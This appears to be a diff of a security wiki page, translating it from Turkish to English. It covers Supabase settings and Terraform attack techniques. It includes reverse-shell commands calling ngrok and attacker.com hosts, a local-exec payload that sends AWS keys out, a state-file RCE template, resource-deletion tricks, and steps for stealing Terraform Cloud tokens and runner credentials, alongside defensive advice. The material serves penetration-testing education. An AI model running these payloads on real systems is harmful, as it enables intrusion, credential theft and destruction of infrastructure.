- Max Direct Database Connections: Kimlik doğrulama için kullanılacak maksimum bağlantı sayısı (varsayılan 10)
|
||||
- Max Request Duration: Bir Auth isteğinin sürebileceği maksimum süre (varsayılan 10s)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
|
||||
## Storage
|
||||
|
||||
> [!TIP]
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
|
||||
- Yükleme dosya boyutu limitini ayarla (varsayılan 50MB)
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- S3 access key talep etmek mümkün; bunlar bir `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) ve bir `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) şeklinde oluşur
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Edge Functions
|
||||
|
||||
Supabase içinde **gizli bilgileri saklamak** de mümkün olup bunlar **edge functions** tarafından erişilebilir (web üzerinden oluşturulup silinebilirler, ancak değerlerine doğrudan erişim mümkün değildir).
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,32 +1,32 @@
|
||||
# Terraform Güvenliği
|
||||
# Terraform Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform, sürümlenebilir, yeniden kullanılabilir ve paylaşılabilir insan tarafından okunabilir yapılandırma dosyalarında hem bulut hem de kurum içi kaynakları tanımlamanıza izin veren bir **infrastructure as code tool**'dur. Ardından, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, compute, storage ve networking gibi düşük seviyeli bileşenlerin yanı sıra DNS girdileri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
|
||||
#### Terraform nasıl çalışır?
|
||||
#### How does Terraform work?
|
||||
|
||||
Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları onların uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Providers, Terraform'un erişilebilir bir API'ye sahip neredeyse her platform veya hizmetle çalışmasını sağlar.
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp ve Terraform topluluğu, binlerce farklı kaynak ve hizmet türünü yönetmek için **1700'den fazla provider** yazdı ve bu sayı artmaya devam ediyor. Tüm herkese açık provider'ları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; örneğin Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha fazlası.
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
|
||||
Terraform'ın temel iş akışı üç aşamadan oluşur:
|
||||
The core Terraform workflow consists of three stages:
|
||||
|
||||
- **Write:** Kaynakları tanımlarsınız; bunlar birden fazla cloud provider ve hizmeti kapsayabilir. Örneğin, güvenlik grupları ve bir load balancer ile bir Virtual Private Cloud (VPC) ağında sanal makineler üzerinde bir uygulama dağıtmak için bir konfigürasyon oluşturabilirsiniz.
|
||||
- **Plan:** Terraform, mevcut altyapı ve konfigürasyonunuz temelinde oluşturacağı, güncelleyeceği veya sileceği altyapıyı tanımlayan bir yürütme planı oluşturur.
|
||||
- **Apply:** Onaylandığında, Terraform önerilen işlemleri doğru sırada, herhangi bir kaynak bağımlılığını gözeterek gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncellerseniz ve o VPC'deki sanal makine sayısını değiştirirseniz, Terraform VPC'yi yeniden oluşturduktan sonra sanal makineleri ölçeklendirir.
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
|
||||
Sadece bilgisayarınıza terraform'u kurun.
|
||||
Just install terraform in your computer.
|
||||
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
@@ -34,97 +34,107 @@ Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-
|
||||
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
|
||||
Ancak, terraform doğru şekilde çalışabilmesi için farklı konumlara **ayrıcalıklı erişime** sahip olacağından, ele geçirildiğinde çok **hassas bir bileşen** olur.
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
|
||||
Bir saldırganın terraform'un çalıştığı sistemi ele geçirebilmesi için en yaygın yol, terraform konfigürasyonlarını depolayan repository'yi ele geçirmektir; çünkü eninde sonunda bu konfigürasyonlar **yorumlanacaktır**.
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
|
||||
Aslında, bir PR oluşturulduktan sonra `terraform plan`/`apply` işlemlerini otomatik olarak çalıştıran çözümler bulunmaktadır; örneğin **Atlantis**:
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Eğer bir terraform dosyasını ele geçirebilirseniz, birisi `terraform plan` veya `terraform apply` çalıştırdığında RCE gerçekleştirebileceğiniz farklı yollar vardır.
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan, terraform'da en **çok kullanılan komuttur** ve terraform kullanan geliştiriciler/çözümler bunu sürekli çağırır; bu yüzden **RCE elde etmenin en kolay yolu**, bir `terraform plan` sırasında rastgele komutlar çalıştıracak şekilde bir terraform konfigürasyon dosyasını zehirlemektir.
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
|
||||
**Using an external provider**
|
||||
|
||||
Terraform, Terraform ile harici programlar arasında arayüz sağlamaya yarayan [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `external` data source'unu bir `plan` sırasında rastgele kod çalıştırmak için kullanabilirsiniz.
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
|
||||
Bir terraform konfigürasyon dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Özel provider kullanımı**
|
||||
|
||||
Bir saldırgan, [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup)'ı [Terraform Registry](https://registry.terraform.io/)'ye gönderebilir ve sonra bunu bir özellik dalındaki Terraform koduna ekleyebilir ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Provider `init` sırasında indirilir ve `plan` çalıştırıldığında kötü amaçlı kodu çalıştırır
|
||||
|
||||
Bir örneğini şu adreste bulabilirsiniz: [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
|
||||
**Harici bir referans kullanma**
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değiller (ikincisi birinciden daha gizli fakat daha karmaşıktır). Bu saldırıyı aşağıdaki önerileri izleyerek daha **gizli** bir şekilde gerçekleştirebilirsiniz:
|
||||
**Using an external reference**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren bir **harici kaynak yükleyebilirsiniz**:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- Harici kaynakta, repodaki bir branch içine **terraform rev shell code in a branch**'i gizlemek için **ref** özelliğini kullanın, örneğin: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır; ayrıca RCE elde etmek için **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Tek yapmanız gereken, aşağıdakiler gibi bazı payload'ların `main.tf` dosyasında sonlanmasını sağlamaktır:
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Önceki tekniğin **önerilerini** izleyin ve bu saldırıyı **harici referanslar kullanarak daha gizli bir şekilde** gerçekleştirin.
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
`terraform apply` çalıştırarak terraform tarafından kullanılan **gizli değerlerin dökülmesini** sağlayabilirsiniz; terraform dosyasına şu gibi bir şey ekleyerek:
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Terraform State Dosyalarını Kötüye Kullanma
|
||||
|
||||
Eğer terraform state dosyaları üzerinde yazma izniniz varsa ancak terraform kodunu değiştiremiyorsanız, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan faydalanmak için bazı ilginç seçenekler sunuyor. Konfigürasyon dosyaları üzerinde yazma izniniz olsa bile, state dosyaları vektörünü kullanmak genellikle çok daha sinsidir; `git` geçmişinde iz bırakmazsınız.
|
||||
## Abusing Terraform State Files
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
|
||||
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
@@ -133,190 +143,217 @@ It is possible to [create a custom provider](https://developer.hashicorp.com/ter
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Sonrasında, `terraform` çalıştırılır çalıştırılmaz kodunuz çalışır.
|
||||
|
||||
### Kaynakları silme <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Then, as soon as `terraform` gets executed, your code will run.
|
||||
|
||||
Kaynakları silmenin 2 yolu vardır:
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
1. **Yok edilecek gerçek kaynağa işaret eden rastgele isimli bir kaynağı state dosyasına ekleyin**
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
|
||||
Çünkü `terraform` kaynağın var olmaması gerektiğini görecek ve onu (belirtilen gerçek resource ID'sine göre) yok edecektir. Önceki sayfadan örnek:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Kaynağı, güncellenemeyecek şekilde değiştirin (böylece silinip yeniden oluşturulacak)**
|
||||
|
||||
Bir EC2 instance'ı için, instance türünü değiştirmek terraform'un onu silip yeniden oluşturmasına yeterlidir.
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
|
||||
### Kara listeye alınmış provider'ı değiştir
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
|
||||
`hashicorp/external` kara listeye alınmış bir durumla karşılaşırsanız, aşağıdakileri yaparak `external` provider'ı yeniden uygulayabilirsiniz. Not: Biz https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external provider'ın bir fork'unu kullanıyoruz. Kendi fork'unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Sonra normal olduğu gibi `external` kullanabilirsiniz.
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Bu senaryo, Terraform Cloud (TFC) runner'larını speculative plans sırasında kullanarak hedef cloud hesabına pivot yapar.
|
||||
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
|
||||
|
||||
- Önkoşullar:
|
||||
- Geliştirici bir makineden Terraform Cloud token'ı çalın. CLI token'ları düz metin olarak `~/.terraform.d/credentials.tfrc.json` içinde saklar.
|
||||
- Token, hedef organization/workspace'a erişimi olmalı ve en az `plan` yetkisine sahip olmalıdır. VCS-backed workspaces CLI'dan `apply`'ı engeller, ancak hâlâ speculative plans'e izin verir.
|
||||
- Preconditions:
|
||||
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
|
||||
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
|
||||
|
||||
- Discover workspace and VCS settings via the TFC API:
|
||||
|
||||
- Workspace ve VCS ayarlarını TFC API üzerinden keşfedin:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- VCS-backed workspace'ı hedeflemek için external data source ve Terraform Cloud "cloud" bloğunu kullanarak speculative plan sırasında code execution tetikleyin:
|
||||
|
||||
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
|
||||
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
TFC runner üzerinde reverse shell elde etmek için örnek rsync.sh:
|
||||
|
||||
Example rsync.sh to obtain a reverse shell on the TFC runner:
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Geçici runner üzerinde programı çalıştırmak için spekülatif bir plan çalıştır:
|
||||
|
||||
Run a speculative plan to execute the program on the ephemeral runner:
|
||||
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Runner'dan enjekte edilmiş cloud credentials'leri enumerate ve exfiltrate edin. Çalışma sırasında, TFC provider credentials'leri files ve environment variables aracılığıyla inject eder:
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
|
||||
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Runner çalışma dizininde beklenen dosyalar:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON yapılandırması)
|
||||
- `tfc-gcp-token` (kısa ömürlü GCP erişim tokenı)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC rol devralma yapılandırması)
|
||||
- `tfc-aws-token` (kısa ömürlü token; bazı kuruluşlar statik anahtarlar kullanabilir)
|
||||
|
||||
- VCS gate'lerini atlatmak için kısa ömürlü kimlik bilgilerini out-of-band kullanın:
|
||||
Expected files on the runner working directory:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
|
||||
- Use the short-lived credentials out-of-band to bypass VCS gates:
|
||||
|
||||
GCP (gcloud):
|
||||
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
|
||||
AWS (AWS CLI):
|
||||
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
|
||||
|
||||
- Savunma önerileri:
|
||||
- TFC kullanıcıları/takımları ve tokenlar için en az ayrıcalık ilkesini uygulayın. Üyelikleri denetleyin ve aşırı geniş sahiplikteki hesaplardan kaçının.
|
||||
- Mümkünse hassas VCS-backed workspaces'lerde `plan` iznini kısıtlayın.
|
||||
- Sentinel politikalarıyla provider/data source allowlist'lerini uygulayarak `data "external"` veya bilinmeyen provider'ları engelleyin. Provider filtreleme konusunda HashiCorp rehberine bakın.
|
||||
- Statik cloud kimlik bilgileri yerine OIDC/WIF'i tercih edin; runners'ları hassas kabul edin. Spekülatif plan çalıştırmalarını ve beklenmeyen egress'i izleyin.
|
||||
- `tfc-*` credential artifacts exfiltration'ını tespit edin ve planlar sırasında şüpheli `external` program kullanımında uyarı verin.
|
||||
- Defensive guidance:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
|
||||
|
||||
## Terraform Cloud'un ele geçirilmesi
|
||||
## Compromising Terraform Cloud
|
||||
|
||||
### Token kullanımı
|
||||
### Using a token
|
||||
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Böylece önceki bölümde açıklandığı gibi **`terraform plan`** kullanılarak rastgele kod çalıştırmak mümkün olur.
|
||||
|
||||
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
|
||||
|
||||
### Escaping to the cloud
|
||||
|
||||
Eğer runner bir cloud ortamında bulunuyorsa, runner'a bağlı principal'in bir token'ını elde etmek ve bunu kanal dışı kullanmak mümkün olur.
|
||||
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
|
||||
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — Workload Identity Federation(WIF) için Google'a dış kimliği nasıl değiş tokuş edeceğini söyleyen JSON yapılandırması.
|
||||
- `tfc-gcp-token` — yukarıda bahsedileni referans alan kısa ömürlü (≈1 saat) GCP erişim token'ı
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — web identity federation/OIDC rol üstlenme için JSON (statik anahtarlara tercih edilir).
|
||||
- `tfc-aws-token` — kısa ömürlü token, veya yanlış yapılandırıldığında potansiyel olarak statik IAM anahtarları.
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
|
||||
|
||||
## Automatic Audit Tools
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki zayıflıkları ve yanlış yapılandırmaları tespit eden kapsamlı bir Infrastructure as Code (IaC) tarama çözümü sunar.
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Güvenlik zafiyetleri ve uyumluluk sorunları için gerçek zamanlı tarama.
|
||||
- Sürüm kontrol sistemleriyle entegrasyon (GitHub, GitLab, Bitbucket).
|
||||
- Otomatik düzeltme pull request'leri.
|
||||
- Detaylı düzeltme önerileri.
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
@@ -324,81 +361,78 @@ snyk iac test /path/to/terraform/code
|
||||
